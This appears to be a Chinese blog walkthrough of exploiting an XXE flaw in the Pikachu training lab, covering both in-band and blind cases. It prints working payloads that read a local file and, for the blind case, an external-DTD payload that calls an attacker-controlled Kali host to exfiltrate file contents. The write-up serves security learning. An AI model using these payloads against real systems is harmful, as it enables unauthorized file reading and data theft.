赞
踩
pikachu验证XXE漏洞:分为有回显和无回显;
有回显:
首先尝试用BP抓包:
然后观察请求行、Accept、Content-Type,这里可以从Accept中发现能够接收的文档类型包括xml。
然后构造payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "你真棒!" > ]>
<foo>&xxe;</foo>
如果真的存在xml漏洞,那么这里就会回显“你真棒!”。
但是当我用BP发送payload时却没有成功:
然后重新抓包,抓发送payload时的包:
可以看到是因为payload被URL编码了。
接下来就可以利用这个漏洞来读取服务器下的文件内容,构造payload
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///d:/123.txt" > ]>
<foo>&xxe;</foo>
这个payload将读取到在D盘下的123.txt文件的内容:
如果用BP发送的话,就要先URL编码:
无回显:
对这个靶场的源文件的输出语句进行注释后,就不会出现回显了:
此时重新发送payload是看不到任何东西的:
当遇到没有回显的情况可以用到这个网站DNSLog Platform。这是个域名解析网站,在这里用来检验目标主机是否能够解析xml的代码。
这个网站会给出一个子域名:
构造payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://1zjmu5.dnslog.cn"> ]>
<foo>&xxe;</foo>
只要目标服务器能够解析xml代码就会访问代码中的网址。
上图说明目标主机访问了代码中的网址,那就说明目标主机能够解析xml代码,所以可能存在xxe漏洞。
接着需要用到Kali作为攻击机,首先在Kali中开启HTTP服务:
开启后在本机的浏览器输入Kali的IP就可以连接到服务:
(也可以用这种方式将虚拟机的文件下载到本机,在IP后面加上文件路径就行)
然后在Kali中编辑一个文件xxe.dtd(需要在存在这个文件的目录下开启HTTP服务)
这段代码是用来读取本机中的123.txt文件,马赛克处是Kali的IP。
然后在pikachu靶场中构造payload如下:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.153.128/xxe.dtd">
%remote;%int;%send;
]>
这个payload会调用Kali中的xxe.dtd文件。
发送后就可以在Kali中看到记录:
红框中的内容就是123.txt文件经过base64编码后的内容,解码后的结果如下:
文件内容是中文所以显示乱码了。
把文件内容改成英文重来。
末尾的感叹号也是乱码。
至此就完成了对xxe漏洞的利用。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。